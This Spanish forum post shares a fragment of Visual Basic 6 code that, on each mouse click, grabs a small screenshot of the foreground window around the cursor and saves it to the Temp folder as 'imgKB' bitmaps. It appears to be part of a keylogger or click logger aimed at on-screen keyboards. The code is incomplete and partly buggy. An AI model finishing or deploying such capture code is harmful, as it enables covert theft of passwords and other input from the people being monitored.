Bueno estuve viendo este ejemplo tambien :
http://www.freevbcode.com/ShowCode.asp?ID=1449Haber si voy bien :
Declaraciones :
Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Public Declare Function GetForegroundWindow Lib "user32" () As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long
Public Declare Function StretchBlt Lib "gdi32" (ByVal hDC As Long, ByVal x As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal nSrcWidth As Long, ByVal nSrcHeight As Long, ByVal dwRop As Long) As Long
Public Declare Function GetCursorPos Lib "user32" (lPointCoordinateoint As PointAPI) As Long
Public Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Public Type PointAPI
x As Long
Y As Long
End Type
Cuando detecta el click llamo a la función :
Case 1: Call cWindow
La función me estoy liando un poco y no se si va bien,
tendria que pasar la imagen del hdC al picturePublic Function cWindow()
Num = Num + 1
File = FreeFile
lActiveWnd = GetDC(hForegroundWnd)
GetCursorPos PointCoordinate
StretchBlt frmMain.imGc.hDC, 2, 2, 124, 60, hForegroundWnd, PointCoordinate.x - 30, PointCoordinate.Y - 12.5, 100, 100, &HCC0020
SavePicture frmMain.imGc.Picture, Environ("Temp") & "\imgKB" & Num & ".bmp"
End Function
Saludos!
